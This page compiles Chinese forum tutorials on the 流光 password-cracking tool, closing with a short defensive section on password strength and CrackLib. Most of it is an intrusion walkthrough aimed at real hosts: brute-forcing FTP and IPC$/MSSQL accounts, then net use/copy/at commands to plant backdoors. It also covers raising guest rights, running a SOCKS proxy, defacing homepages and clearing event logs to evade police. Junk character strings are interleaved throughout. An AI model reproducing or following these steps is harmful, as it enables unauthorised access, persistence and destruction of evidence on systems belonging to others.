请问流光怎么用

请问流光怎么用,第1张

流光教程

流光教程一 ON,Z$G*^ m*U

许多新人在用流光的时候不知道如何下手,小榕论坛来讨论的也多是“如何添加用户”这样的初级问题 :),就抽了点时间写这个简单的教程,希望让新手快速入门。 $Xn3l E&e M'fl7I

h4r3|)V"S&y

我个人认为流光的破解可分为5大部分: #?c"J4l'uLMum

nZX'vdE3D4{+A6g 一、POP3/FTP/…探测

Y D Z"Aw9e

N z*l6A8nuxjAZ 二、IPC探测

+v8} ]2i X r3{V ~7cNNZi:W2u

三、SQL探测

0b*[1x8g'U #}??}8Hx8O

四、高级扫描 4v`I'\ D\Z

?\)r+x!e-q)j bf

五、其它 … 9FZ%J-tE6c(}+N8v

Q H^@4VX'p 因为开发时间的原因,上面的探测模式略有不同,所以分成了四个部分,本教程说的是第一个部分的探测。后面的探测模式应该属于流光的高级应用了:) Z:X%?#a+y A&V

6JO v+] f9jS,m x 下面我就简单说一下基本的破解流程: $~S @O%r2D

z|+|)qsq BC 1、你得有流光,我这里试验用的是流光2001.FOR Win98 中文版.FOR Win2000的也可以。 nQ4]v-Az9NCD*_7G

Q a:x7c.Kf4u 首次启动流光,看到如下图的界面: :x2jWr0nJ+x

"d)zkP!\ h$a ]|&Q0uro

X-U9[zO"kM

首次使用是要注册的,不过不要想到花钱:),小榕只是想看看有多少人用他的流光而已。你可以填好相应的选项,然后点发送即可,如果发送失败,你把发送服务器换个就好了。

1Dy*^7CM4y4jj7BA )[sRpa7_/w

SX j@_H

E+U4xtR:@5EYt/CJ)}

因为重装系统,我也不知道我发了多少次了 :( 。如果不想注册,就稍等下面的进度条走完,点稍后即可。如上图:

y\Bs9Np9~9f%Ol`9F F5OGX-X?3c@U9L

tNFQDgH-x -s(Z5w5FEr@p[

H9ed$^"N[*P"X .A$}Vtx6q2sJ

2、找个站点,我选的是中华网[url]www.china.com[/url]的主页空间(home4u.china.com),探测方式:FTP。

N |B^Fk4Y +I V+X lf

有人常问扫描端口有什么用,其实作用就是你知道他提供了什么服务,然后可以采取相应的探测方式来获得PASS了:)我们知道主页几乎都用的FTP上传,我们这次就用来测试一堆用户名,看看有没有弱智的密码,呵呵,如果有 hacker.at.china.com 这样的,也不妨霸占为己有:)

4n9N OnqZkd

7W NmEQ5ZHw 3、加入要破解的站点名称:右键单击FTP主机→编辑→添加→输入 home4u.china.com →确定! \:] B E'MGw

mZy9yF:qpE8K eJ5L!I a#C4I1O*w

yU&CX#X$x,r

CrN Ap

!zS,@}0m/P,V7} 4、加入用户名:我们要破解的是一堆用户名,所以要加入用户名的列表文件!我们就加入流光目录下的 Name.dic :)右键单击刚才添加的主机:home4u.china.com → 编辑 → 从列表中添加 → Name.dic → 打开

g$d.k H-W 5itXRHu%?8G

7_bvg'fU

C&@2H W,]S NO%yOw-Y.\*E x hJkB6l

1lv0{`!~d+e%hU u

然后会有“用户已存在列表中”的提示,我们选中“不再提示” → 确定 。如下图: 6A ~:uu X3eh

$G7Z%~ nw

wVF5^tB#yT#k%Nf7c

CkjR-X[_@-b 用户名太多,我们可以用点主机前面的“—”号把用户列表缩起来,如下图:

+l3^8TC0R3Ml

7Q,FP oe`"[mk Z-m1x^kB8j$Ej]

!V8WoCEr

大家注意名字前面的小框中必须有√要是没有就无法探测了。 Xcj)[ PR

\JL,X5W Cv Lv o3G

5、有了用户名,我们就可以进行探测了,大家会想到怎么不用密码?其实流光有个简单模式的探测,也就是用内置的密码”:“123456”和“用户名”来进行探测,因为这样的密码是使用频率最高的:) 9r)?e bM4Y5y#pixy

{M JrO#j@Hmg_ 当然你可以修改这个简单模式的文件,加入你认为弱智的密码。方法是:单击 工具菜单 → 模式文件设定 → 简单模式探测设置文件 → 加入你要加入的密码 → 把设置文件存盘! OQhI^,O

F Q_~.k ODI 下面我们就来看看这一堆名字里面有多少是用“123456”和“自己名字”来作为密码的。

}S~5M{)E

EbUz RqHZ 探测 → 简单模式探测!

u$b'n(jR,Ik0h@

b(P*|@-s,U!PuO.{ hm.T2l*t},|

T ]q&I2q~

3F_(W(C j?\

M s+q O3L$s 探测中…

:fJ+AT@S}&u

y+g.Bl C-_6x"U@X+M1]B

$k.S*q!g.] X

K]e/y^Ii

:]^YE/A$fB#W

1M+]t+eW QAM 6、探测完毕,也看到结果了,流光会问我们是否查看入侵检测报告,不想看可以选否。

*sQ!cR:C'oms

w I`&x+y

|I)vh7?xc|

Hga+B5r:vt#Je 报告的画面

2z)S"nS @l4~#VM

ydx!w*O b| {?Cb1ZDZ

\.i c`h xc 7、如果要探测的是一个用户名,就需要添加字典、或者密码方案。方法是:右键单击解码字典或方案 → 编辑 → 添加 → 选择一个密码档即可。 ]}E5? J l/@

J$``IO#R3i 以上就是流光的一次简单的探测了,事实上这些功能只能算是流光的2.5版的功能,流光2001增加的IPC/SQL/高级扫描等功能,使流光更加强大。如果你对这个已经很熟悉了,相信你看流光的HELP就会很快的学会其它的使用方法的。

9\W i R-JUV j {L k/X |

关于用户名的问题:有人觉得自己加入的用户名不一定存在,如果不存在岂不是白费了力气?这点你大可以放心,流光会进行验证的。而且现在注册的用户入数之多,想个没有的名字都难,不信你随便敲个试试。

Vi~PLWdY UYk5@Ou

关于字典的问题:流光可以使用字典方案来探测,当然你也可以生成字典,有的新手在作练习的时候不知道怎么做,你也可以用记事本生成,每行输入一个密码,存盘后将扩展名改称.DIC,流光就认出来了:)如果你连扩展名都不会改 :( 那……

wp-w7J"Ga)\af+p

L/\Di/`@y X#c

2a2H~/f9W[,L o r @m F ~

只要是学习、谁都会遇到困难,我也是问题多多,还得向小榕、EKIN讨教,欢迎大家多交流 :)

]J+|3{,mJ-k#j!M

0W H%X$sp/@ a

u3I4L%S9n btd

P#m)Zqs

`1_s"W)BD :c"{n_&r]

待续……

香烟 2007-5-28 11:07

流光教程二

很长时间也没有写什么东西了,这源于我的懒惰和生活缺乏激情。我的记事本上一大篇都是欠朋友的承诺 :(

l P8M"F5M:b2|0k !J:Ix~R h

你既然看到这儿了,就在听我牢骚几句吧:)搞安全应该有正确的心态,别以为你会了个工具使用就可以一步登天。

{B \[y0x\/u 'a+g a S)tUc

交流、学习才是最重要的,把自己心态放正,无论我们是高还是低。

R p4O)Z'qT#L n.Wxu3Zk0x

5F i GX!xJL+Z#`dN

今天要写的是流光的IPC探测: \,`P_`?

Ev b n+jq 一、目的和任务: +@&g2Bs/dp+i

M UA0P@ Ot pu!?DP

1、用流光的IPC探测获得一台NT主机的管理权限,并将这台主机做成一个跳板/代理。

V |nnP_gTX] 2、学习IPC探测的相关知识。

!gnaW4v,Ft9~ 4X-R0J'U:\ |td

二、探测流程:

E],@9y/b Bm#a~ S8HD#?%X

1、你得有流光,我这里试验用的是流光2001.FOR Win2000 中文版。FOR Win98的不可以。因为IPC连接功能是NT/

X.Q#mG"Vj^S }+T!J (U:s,o|P1F\I2p

2000提供的功能。而且流光FOR 2K 要求你的 *** 作系统得是NT/2000,否则流光启动会失败!

+DfdoX})J (~\Q.` v \&|7\3o

什么是IPC:

l2E6WK0@4b^

d,d-Txkrx!miLM IPC是指"InterProcess Communications",准确的说是ipc$,是默认的在系统启动时的admin共享。 .p gsh Y_E

S#M+Y+c^+\_|

IPC$是Windows NT/2K中特有的远程网络登陆功能,它的特点是在同一时间内,两个IP之间只允许建立一个连接。 (nV6s7f4k

RE u*@!T 注意,你试图通过IPC$连接会在EventLog中留下记录。不管你是否登录成功。 g/?"o[We AvE w

2\"D,R+t6uz $s e5mP6@^5v7t

:s#n8[q4rA g

可不可以通过IPC$暴力破解密码?当然可以 ! 不过,是不是太笨了点 …

#p"U`9F9v8lv,P

xK8X$rAm k{8K*G7q5R

2、首次启动流光,会看到注册的画面,具体 *** 作请参考本人第一篇教程。我们在主页面上可以有几种方法来通过IPC

sI)[at

M9ly3t p 探测获得管理的权限。这里我们要作的是得到一台跳板,那么就可以用命中率高的办法来探测了(测试一堆IP来得 A:q6EkB5_v

nLa5Q*pxL

到弱口令)。

"S[hr4]W)@

9Q$?5X4w(a 在主界面选择 探测→探测POP3/FTP/NT/SQL主机选项,或者直接按Ctrl+R。

u ~ ]` W6C 图main1 4H%SmP u3`-g

7\0v7S7S^ue

+k.h]7}vr4A*| "B^XKZ0LR"_-H

图main2 Qmm _ Lh7GV

-XCq2S~ cQ

EG"miTgi+u

6N5_Vp!Y0@ws0r,E 3、出先了上面的小窗口,输入我们要破解的IP段,我们输入了来看看。图main2我们把“将FrontPage主机自动加入HTTP主机列表取消了”。因为我们只想获得IPC弱口令,这样可以加快扫描的速度 :)填入IP,选择扫描NT/98主机 k3P.gQ$p

.ZA F#w X 4、探测中…… (start1) %_,sn#Gq3Y`

!Gv?@Gt0|1t_D

(注意如果你要探测的是流光保留的国内的IP段,会被禁止的,也就是探测的时候信息栏出现"IP保留"的字样) 6rb2ZLn9n'?3F

M.KoJ2c

!dnP6meD%C iCBt)hvs!bm)v

6e(JmneR 5、这是扫描到的NT/98主机列表:(jg1) 9yd R9V @c E G

4z zC1Kn9GOP ?

1sa _W Om9l

'U0x?U mk ^2G5j

6、没有扫描到常用密码:(

2\"r'i'kA&no 6KgORI"y t}-T$J

HfegS j c,o9v*LQ)K:F

7、就不要查看报告了 :… &e2N(Ki,t \&WM@FO

} z'p-S%yYu4W

WU9g._w/S5A

\:kr_8_7gA)A 8、有了不少NT/98的机器了,正式开始IPC$探测:IPC$主机-探测-探测所有IPC$用户列表。 $P8E]3\9B K2pg

AP#[(N W5P4Y

%n)T h9qO&[k"U3y P Xe

)g2tM"l-^)A.s8N} 9、注意下面两个对话框的设置:全选上,我们只要IPC$管理员的弱口令。然后点选项

Y i:~C{DP Nzy _x3wxL

(C0M4X W@vO

"mx-?qz]%n4z 10、点“选项” :为了加快弱口令扫描速度,这里的两个我们可以全部取消,比如下面的那个,如果对方禁止列出用户了,我想对于一个网管来说,弱口令可能性也是微乎其微。 T1@+Z\q _'xbU

3U+n)L1?1ZHE0E

?]*\9K5\6{4o2{3a l8_W

-~K+d6^]%w mg x1_fw[

11、探测中……

L|9Wl/`9i!w

iX5~o5y"E C+@ /l8f#OxW:@Q

FL?HKg/vQ

12、有密码了:) vh3tv/zll,p

xm{Z r+L3{~"k

y1pg2x l z:P l(f6y2[2vSYK,]

13、又出现了查看报告的窗口,看看 :)

#Y0U fH M@,@Tf x

@^%Z0v(t [| 9m-`)X-P(Q#o,I

C8E [,F W

14、有远程主机的管理密码了,我们剩下的就是想办法控制它了,有什么好办法么? :)有的是 !自己看看工具- i:h0{(AGCO5O

H.j+f!XFp8o 菜单下的IIS远程命令:)是不是很简单呢,我以后在说,今天还是先练习net 命令吧。

}6Pb \+u W#C %V%`*@$m*u"pH&P

15、黑了他 !

w2K#cu"e}

@2]*w5d.Y+V'D8bB 开个dos prompt 执行如下命令,本次用的例子如下图。

1v'kePX4a-r

)z9N,s5hb-AaH_ 1、 net use file://对方ip/ipc$ "密码" /user:"用户名" || 建立远程连接

6sBdD1z3l p#T(o_p5ve+PSqC

2、 copy icmd.exe file://对方ip/admin$ || admin$是对方的winnt目录 :) 这里文件多。

*Q1T*l,e"K%_/E

-Pr:z%mOn/L 3、 net time file://对方IP/ || 看看对方的本地时间

{7J{ H.|:f!oy Q\M

R gYi}x+tO1j&_ 4、at file://对方ip/ 启动程序的时间 启动程序名 启动程序的参数 || 用at命令来定时启动程序,在这里我们用soon这个程序来做也可以,它可以取代 3/4两步。

Luw UB @)L2~fy S0@lz

5、 telnet 对方ip 端口 || 1Q&LR1Z3W/h }

{K9x J4s-U(K%C-_*c

6、输入pass (如果不是用icmd.exe,或者没有设置口令就不用了) ||

8Hv3k?)um1o@~`[ QF@G~%gZ8jF

7、在开个窗口,继续copy 我们用的东西。 copy sock.exe copy ntlm.exe copy cl.exe clear.exe 1p"?+X1LN$K~4k

za1\5E[:?:j5f

图cmd1

-MRgW,~F/cx

q\&Vh |,P #o&n8N/R` l%RB

9O2i,ZZ ~/~,b kA%c4f-h!v Q 图cmd2

Nl#I\*s E V

Ui HR"C%X

L\#~A-g])_$o

Z(GiiC 如果我们真的想黑了他,只需要把我们的首页文件覆盖目标的首页就ok了,我们可以通过dir /s default.htm或者dir /s index.htm 来确定对方首页的为止,一般是在X:\interpub\wwwroot\ .

%\YUsC5z2th2w j2WwPs*C:@

假如首页文件是default.htm并且在c:\interpub\wwwroot,这样:copy default.htm \\ip\c$\interpub\wwwroot n{*{]4W0F4W#M

_s8c8P\B K

下面的图有演示 t2~5l:i'v,j

.T'l!h)XGK_-FN^ 7、其实黑人家是很低级并且没意思的:(,我们最好是物有所有,作成跳板吧,今后干活方便点:) /S.S,_? ^"L-y

F&D(HL ^ 执行我们copy 过去的ntlm.exe ,取消验正。在给自己留个后门,比如提升guest的权限,或者其它的后门工具,这类东西多了自己选吧,看看杀手copy的那堆东西 :)

Gk,Q@ X"n\m us E

} ^\W(a G V,S

Y1aU j9t ^/n[7K

6Z`!q!Dx-W\ 8、做个SOCK5代理玩玩,用在QQ上不错喔: cq&Q `k+h8m

1G1}lX'S(F

执行我们copy 过去的sock -install,net start skserver 看看用在QQ上的效果:)

1C.P7F6?"mY

[7D&n&l|@

*b wh ?}1O/SW

0s(r2G:K9_A\kB/iw 是不是没有看清上面的步骤呢? \$u1Ll]qJ,\Q(e

1QG2S/zq4_0DK wN 下面是我telnet 上去后所有的命令:)

M)M k|.Z $me*bZRZr

0c0Zw8X7}I

$pF g1^.A 9、还能做成其他的么 ? yLP4s#w"\5i4|

/}2}H6h!jc/|oA

当然了,只要你有时间,并且愿意做,我曾经偷偷的把自己的主页放到人家的server上,速度快、空间无限,嘿嘿 :)

A&b!W2`My^#v

5Lj} O`qG 10、日志清除,断开连接 : dB#Va F~w f

"x)Op(r[`9D

执行我们copy 过去的cl.exe clear.exe 都可以清除日志,比如clear all :清除所有的日志。然后在断开连接:net use file://ip/ipc$ /delete

FNwL3v

4J$lx'Xztp 这步我认为是必需的,尤其是在一些有争议的站点上,或者是国内的站点,除非你想让电视上报导XXX地区我神勇刑警捕获弱智黑客一名XXX。 'rKIh8G V(V

$F&tj+\W6f

在网吧写完 :( 错误之处请赐教。 ,f^#B#yg3u J#q

&uY/q~3hN A~ 只要是学习、谁都会遇到困难,我也是问题多多,还得向小榕、EKIN讨教,欢迎大家多交流 :)

香烟 2007-5-28 11:08

流光教程三

关于IPC$的终于写完了,那个该死的网吧,闹哄哄的声音声声入耳 :(,你可能想不出,IPC$探测是我在网吧完成的,而且那个网吧还有公安部门的网络监视器,这东西很有意思,好像是VXD调用,和IE运行库集成到一起的。哪天非弄来研究一下,说不定一款别具特色的木马就问世了 :) PY{ S+Fy!Yo

%J@2J!QlVW7uA

不知道你看完前一个教程有没有要扁我的想法。。。。

zv'yw,\!msU

R7dr8gLWpd 交流、学习才是最重要的,把自己心态放正,无论我们是高还是低。 jNd|C c%|]

\#O"o7Nd

+ER[ x`v'r 今天要写的是流光的SQL探测,顺便说说ipc$补遗和其它的探测手段。

sI!\~*F3~

hmw.N Eer-Ca+t 一、目的和任务: 1Z%CUh!v:@i DZ

/]a E)Z4G#].e

1、用流光的SQL探测获得一台NT主机的管理权限。 dU/[-d9JI'k

2、学习SQL探测的相关知识。

^q$f5F k od qJ 3、IPC$补遗和其它…

$n j6n$V yl 二、探测流程: ,y?8gzw)l

,F7ajG@:[ 1、你得有流光,这话不用在说了吧:) rcHF&O4w|C

Ny|f\X

什么是SQL:

2?Ek\+Z0G"E \f"n0Y0? x+F^]6~ H9r

SQL:微软开发的数据库,专门用在微软的OS上,功能类似Linux 下的Mysql,晕……,到底谁类似谁啊?有时间

7K$e.k Jbp (wi4PW6s9pU8e/C*H

去看看SQL的联机手册,说的很明白。

&W8A4of)?)t)U

'[email protected]#Dh@*Ll SQL服务程序支持的网络协议: Nl*`yf ?

.G0y)?F,R$`rH Named pipes :使用NT SMB端口来进行通信,存在被SNIFFER截获数据的危险。

YB5I7`ME E9v4D

-If}ru \ IP Sockets :默认状态下开1433端口,可以被扫描器探测,存在被SNIFFER截获数据的危险。

:b3L{~-S Xl6}E!]2c o3C]

Multi-Protocol :客户端需要支持NT RPCs,数据加密。 4T7f3e?{1`[a

JJq(S:o9`\,nk

NWLink :存在被SNIFFER截获数据的危险。 5{/AhH3_F jv*LM

%^3qxM8h:\qZ `W!y!m

AppleTalk (ADSP):存在被SNIFFER截获数据的危险 v"t3N"e DZx

7y3r KD UkGZW@ Banyan Vines :存在被SNIFFER截获数据的危险 :t k6Z7RZW~

Bkh{3_/y9k7D p

在Internet上,95%以上的SQL Server 采用的都是IP Sockets协议,流光探测的就是这个协议默认的1433端口

MA'vxIjn.L"V7E

([Z8u)b[1N)l[xjf

vI'Go'}dF E q.j 2、我们要获得SQL 主机的管理权限,那么还用命中率高的办法来探测了(测试一堆IP来得到弱口令)。

Hz W2VB"Pq

.~8U6@/\?H:{ 对一台固定主机的探测等我下期的教程:) WUTp!~-M:K

s)XZh4Lz

在主界面选择 探测→探测POP3/FTP/NT/SQL主机选项,或者直接按Ctrl+R。 ~F)_2mc1J!_2k3o T%@

图main gS:]_4M$^

)[MQp j

V_0@sF~

$yX0tZTX'l(u(b

I0i)Q2cu2iv/ul

3、出先了下面的小窗口,输入我们要破解的IP段,我们输入了来看看。(注意如果你要探测的是流光保留的国内的IP段,会被禁止的,也就是探测的时候信息栏出现“地址保留的信息”)

iO~/qo|p4\ 图inputip

@,l6S/mi6p ,S4^XK-rb

W7i}tF,?` H B j1jWF:~|MV

%{]-Y`(wR-[cn 4、探测中……

5hB-u.aXGA Xb

bm!hl]-Kn|1F5B 5、有密码了:) 图psss 1→3 &I*Xett-^ wY+d:N(Q

`,Te`#p` yc2EJ*i7x%|Qu'e

t:` V9^]

Ee+x-vaW ]F

6uR8p)Crk5\7?

aH0cgLClEGp9I

*{(S&hN:n

2H]6I3xJ4V | ip#^/H] My-I g7Z

6、下面我们进一部获取管理员的权限。 4b.RQK4L

用SQL 客户端去连接主机,没有装SQL :( ……………… 没关系,流光自带了连接的工具,以前我一直都是用的天行的工具SQLexec,但现在可以不用它了。 A d-i9MC3O!oZ1g

R`s AB$u@A

打开菜单 工具 → MSSQL工具 → SQL远程命令看看:) f8jZ]/J

图tools

| q^%g{$H|8p6~

D~ fE/Yj'Hyy G4k#X,br(h

+sjL t+N ]j 图SQLcmd 7`^3d4Kd&Wt\4ir2a

@0|#Zh*I`"U

2^M*O8rLD

zL$n*Gl 4nsB*l+?X

7、获得管理权限、增加后门

s+Ex MD&zj*y(N 图cmdline 6R^ {.HtkOe g

5x%G7L_ zLM A

L0Y?2b:sy

8HNh#wk.f

0f-}8s(Z%Q gO

{9Rhd aD 8、现在我们已经是管理员了:)

3l"eM1G(e.?(U { y.M tn

以前我们是用at命令来远程运行程序,今天顺便说说流光中自带的“种植者”,看看 工具 → nt/iis工具 → 种植者,我们来用它远程启动icmd这个后门。 xW9{5d lp

[email protected]{

图lookcrop 5q l.c.nM6k

&H V} g.e}_O

oS8D'l&L

l e9G1a~(wy

图crop &V8XMu }\0t%_Sd

{j qEC#?Lc/W

)\$_k,u-K

H(P1e)Ga7E 图cropend d'VHG6@yu

m*XX6A$b N fe3A9u%B]Sk

-VLFBb*N 一分钟后登陆看看:

2@'zrwIB.z b9f]V4V/Ys"q#gr2H

-L-e)L,m yQG1?c

@x3A)}U$I%k1mA

.Y,EMOF

6QNC4w6rs't

7O2l(XTTbQp

9、再说说 工具 → 模式文件设定 → ipc简单设置文件 。

0T:s(_)^CdaQt

3}.YUYvi)g8N 图mode U k/d&bcw'e4m

Da \[ j^2m

8eQI H3er!\$R

H-QJ/njtF#c

#v(HkA%{,I9E

@i/V5V`u&o “工具”中其他的项目和上面说的两个类似,就不多说了。

:AL A"sF)g\ H2K

8{7e(z[(~0j']zF v

#Rn3O${]&K"h9v NR 10、日志清除,断开连接 ,参考IPC探测,记住可以用种植者远程执行命令。

Q]d%H Q Of5b ot-m mFnM8a#Cv3A

!oSO.LF|

关于IPC$补遗:上篇对与IPC$探测的文章,写完后觉得还差点什么没有说:) T)Rlz*v#@gC

b8n2^,y}"Ui1` 1、我们虽然只探测管理员(admin)的弱口令,实际上在真正攻击中是任何一个用户口令都不会放过尝试的,因为我们获得了

E:mJ O#P0M,^EAJ !aF C??5k!qh9CH

普通用户权限后可以提升权限,事实上,一个普通用户的权限在*nix攻击中是非常重要的。 lCkc)W@m

MN0f:GT%x

2、获得口令后,攻击手法多样,不要局限于我的例程。

XJWu+Q |/U5B/Ffco

3、如果对方没有XXX怎么办?,这类的问题去看看我以前整理的流光FAQ。 v!D+RH z K

'Kt{"S(a?rM

关于其它探测:

O)},m1]u A1J

]6H {0^7C$?U 玩玩3389 ? Lxk8[l8F

Dc?~'^#mQ/c3L l

首先终端是WIN2K提供的功能,所以我们在扫描的时候就要选择 “NT/98”的主机,在得到主机列表后自定义端

4]vE0~ b/o CY

6J:XH WY{AN"qu 口来扫描这些主机的3389端口,然后……

7ED.O4CM/]NZ 8l3m-J9x'?*B

玩玩cisco路由器? Y'}L4[x-}:qt

&|7l5x\nm 自己想想怎么作 ?要是想出来了,我的以后的教程就不用看了 :)

4?` [wxXB"o/}~ y!GGM X}\(H:|'`

1_h(r5b"V1E3ht]%j

G6RK^XE-u 明白了么?我说的意思是要灵活使用流光:)

流光4.71的使用方法,这里有使用说明可以下载自己看一下:http://www.yeshack.com/jc/200508/2345.html

工具这种东西本身就是一把双刃剑,如果因为自己的站点密码太过简单而被攻破然后归罪于因特网上一些免费或共享软件的话,恐怕是有些目光短浅了 。管辖的系统存在漏洞而不自知的话,就算没被人‘干掉',也只是一种暂时的‘虚假安全'。

一、小榕流光使用的简单说明

要谈流光还真找不着感觉——在小榕的帮助文件里已经把软件的使用方法详尽无比地描述过了(强烈建议使用者使用前将帮助文件多读两遍)——我就说三个方面吧——高手完全可以略过的......

1、 对某FTP主机一次完整的在线安全检测过程

A、选定主机:右键单击FTP主机选项,从d出菜单中选择添加——将目标的IP地址填入,如"210.142.192.13"......

B、选定用户:右键单击该IP地址,可选添加(将想测试的用户名逐个加入)添加方案(可在方案中编辑希望测试的用户名列表)从列表添加(直接从字典文件中导入)及从SMTP主机导入(导入SMTP主机探测到的用户名),假设你想探测的用户名为quack,便直接在"添加"中填入quack。

C、选择字典:

a、简单模式探测:在选项菜单条中对字典及简单模式设置做适当修正以适应本次测试要求,当然你也可以在面板上的单词小写、简单后缀等按钮直接选定。

b、标准模式探测:在"解码字典或方案"中选定某一字典(方案)。

D、调整设置:检查选项菜单栏中的系统设置、连接选项和探测选项,将本次测试的各种选项调整至最优。

E、开始探测:在"探测"菜单中选定"简单模式"或"标准模式",开始此次安全检测。

F、注意事项:由于流光的系统占用较高,最好不要再开其它应用程序;在在线检测时可能有时会出现假死机现象,这时你可以通过观察MODEM的RD与SD灯来判断程序是否正常运作。

2、密码字典的选用:在线探测相当耗时,所以一个合适的字典会大大降低你的"检测成本",流光里的工具菜单栏对生成适合自己使用的字典档是一个相当实用的工具——我个人觉得尤其值得使用的是"方案编辑工具",它能够在你锁定特定用户检测时发挥较大的作用,具体使用帮助文件中写得非常详细,我就不再多说了 ——当然流光里附带的XKEY也是一个相当不错的字典生成程序。

3、流光其实不仅仅是一个在线安全检测工具——而是一个"工具包",同时具有以下几个辅助功能

A、探测主机端口

B、探测主机类型

C、FINGER

D、扫描POP3、FTP主机

E、验证主机用户

而其主要功能是对POP3、FTP、HTTP、PROXY主机进行在线密码安全检测。所以——一句话,功能强大,试过便知。

至于同样原理的在线密码破解软件国内流行的也并不少,如很早以前的emailcrack、wwwhack、网络刺客1 以及现在流传很广网络刺客2、Webcrack、Xavior等等,流光在很大程度上集成了这些软件的功能,但这些软件早期的产品也都缺乏IP隐藏或类似功能,而近期的Webcrack以及Xavior则都具备从代理服务器端进行探测的功能,我认为这应该是在线探测的一个方向——安全第一嘛——基于此想法,我对流光在探测中会留下的记录进行试验:对一位网管朋友的WINDOWS2000 Beta3 SERVER 英文版进行了一番测试,对其上已知的帐号进行密码强攻, 经探测得知其FTP端口是开放的,在未预先通知的情况下对其进行攻击,事后打电话询问其记录情况,在EVENT VIEWER里有如下信息:WARNING:The server was unable to logon the Windows NT account 'houxiourong' due to the following error: Logon failure: unknown user name or bad password.The data is the error code. 而甚至他告诉我,当我的攻击进行到一半时,他的主机上就d出了The System log file is full.的信息提示框——失败的登陆次数太多以至于其默认为512K的记录文件被撑饱了!所以我要奉劝某些心怀叵测的人们——别做坏事......

二、密码设置的基本常识及工具

1、有关口令的一些统计

A、数目:在UNIX系统里可以建立多于43,000,000,000,000,000个不同的口令,但如果仅仅组合10种主要

语言的字典,加上这些字的反向、大写、简单后缀等一些微小变形,仅能产生不到5,000,000个字......加

上一些俚语......也不会超出这个数量级。

B、国外某机构在对一个无约束环境的用户口令选择的调查中显示,只有1.4%的用户口令中含有控制符。

2、介绍几个工具

A、CrackLib 简介及应用举例

by JeffreyDong

CrackLib 是什么?

CrackLib: A ProActive Password Sanity Library

By: Alec Muffett

Address: [email protected]

CrackLib是一个可用于类UNIX系统下的函数库, 一般来说, 通常只使用其中的一个函数. :-) 它可以用于编写和passwd有关的程序中, 其基本思想是很简单的, 就是防止用户使 用过于简单, 容易被猜测出来或容易被一些工具搜索到的密码. 密码攻击是网络上最为常见的攻击手段. 随着国内计算机用户水平的提高, 有很多人学 会了使用工具搜索密码的方法, 由于某些原因, 含有被加密密码的文件会被某些用户获 取这时, 过于简单的密码就会成为攻击者的突破口. 网上有很多这方面的报道.(我的 一个朋友告诉我他曾用一个星期的时间算出了BTA一个管理员的密码. wow! :-P) 通过限 制用户使用不安全的密码, 可以提高你的系统的安全性.

CrackLib的特点

CrackLib并不是一个可以直接运行使用的程序, 它是一个函数库, 你可以利用其中的函 数写自己的程序,或是加入其它程序中, 用来提高安全性. 比如, 你可以重写passwd, 使用户在选择密码时受到限制. CrackLib使用一个字典, 它查找字典以判断所选用密码是否是不安全的密码, 所以你也可 以加入其它信息, 使用自己的字典.比如, 加入公司的名称, 实验室墙上的单词等等潜在 的不安全密码.

CrackLib的使用非常简单, 它可以被应用于很多地方, 只需加入简单的几行源码, 就可以 得到非常好的效果.

CrackLib的安装

CrackLib可以很容易的在Internet上找到, 我现在使用的版本是2.7, 跑在我的i586/RedHat Linux和i386/Slackware Linux上. 如果你无法找到它的话, 赶紧去补一补如何在Internet 上查找特定的软件吧, 因为这是一项非常重要的基本功. CrackLib好象没有什么文档, 这也是GNU急需加强的地方. 但是它的安装非常简单, 只要按照 README文件

中所叙述的就可以了.如果你用的distribution中包含了这个包, 那它说不定已经 安装在你的机器上了,如RedHat 5.1等. :-) 需要注意的是, 不同版本中一些文件所处的目录位置不同, 你要先确定它们所处的位置. 比 如, 在RedHat 5.1中, 字典是在/usr/lib/中, 文件名为cracklib_dict.*, 而不是README中 所举例的/usr/local/lib/pw_dict.*

应用举例

这里我举一个很简单的例子, 试图用很短的篇幅来说明用法.

char *FascistCheck(char *pw, char *dictpath)

这是CrackLib中最常用的函数. pw是用户选择的密码, 你要去验证它是不是不安全的. dictpath是字典所在路径, 注意, 要把文件名中"."之前的部分加上.以RedHat 5.1为例, 假设你已正确的安装了CrackLib 2.7和FireBird BBS 2.66M. 让我们来 看看如何把CrackLib加入BBS中去. :-) 首先, 改写bbs_src目录下的register.c:

/* ----------- begin ---------- */

char *msg

/* ----------- end ---------- */

......

while( 1 ) {

getdata(0,0,"请设定您的密码 (Setup Password): ",passbuf,PASSLEN,NOECHO,YEA)

if( strlen( passbuf ) <4 || !strcmp( passbuf, newuser.userid ) ) {

prints("密码太短或与使用者代号相同, 请重新输入\n")

continue

}

/* ----------- begin ---------- */

if (msg = (char*) FascistCheck(passbuf, CRACKLIBPATH)) {

printf("请另选密码! (%s)\n",msg)

continue

}

/* ----------- end ---------- */

strncpy( newuser.passwd, passbuf, PASSLEN )

getdata(0,0,"请再输入一次你的密码 (Reconfirm Password): ",passbuf,PASSLEN,NOECHO,YEA)

if( strncmp( passbuf, newuser.passwd, PASSLEN ) != 0 ) {

prints("密码输入错误, 请重新输入密码.\n")

continue

}

passbuf[8] = '\0'

strncpy( newuser.passwd, genpasswd( passbuf ), PASSLEN )

break

}

begin和end注释所夹部分为改动处, 下同.

接着改写bbs_src目录下的userinfo.c:

/* ----------- begin ---------- */

char *msg

/* ----------- end ---------- */

......

getdata(i++,0,"请设定新密码: ",buf,PASSLEN,NOECHO,YEA)

if( buf[0] == '\0' ) {

prints("\n\n密码设定取消, 继续使用旧密码\n")

fail++

break

}

strncpy(genbuf,buf,PASSLEN)

/* ----------- begin ---------- */

if (msg = (char*) FascistCheck(buf, CRACKLIBPATH)) {

printf("\n请另选密码! (%s)\n", msg)

prints("\n密码设定取消, 继续使用旧密码\n")

fail++

break

}

/* ----------- end ---------- */

getdata(i++,0,"请重新输入新密码: ",buf,PASSLEN,NOECHO,YEA)

if(strncmp(buf,genbuf,PASSLEN)) {

prints("\n\n新密码确认失败, 无法设定新密码。\n")

fail++

break

}

接着在bbs.h中加入:

#ifndef CRACKLIBPATH

#define CRACKLIBPATH "/usr/lib/cracklib_dict"

#endif

注意这里是字典所处的位置.

最后改动bbs的Makefile:

OS_DEF = -DLINUX -DTERMIOS

CC = gcc

CFLAGS = -O2

/* ----------- begin ---------- */

LIBS = -ltermcap -lbsd -lcrack

/* ----------- end ---------- */

然后make, make install就可以了. :-) 很简单, 不是吗?

注意:本段关于cracklib的说明转载于[网络工作室]

B、Proactive Checking

这个程序能在输入口令时进行一系列的口令检查,这会对避免不安全口令出现于你的系统有帮助作用。它与一般的shadow和NIS(也就是yellow page)口令系统共同工作。

C、Shadow

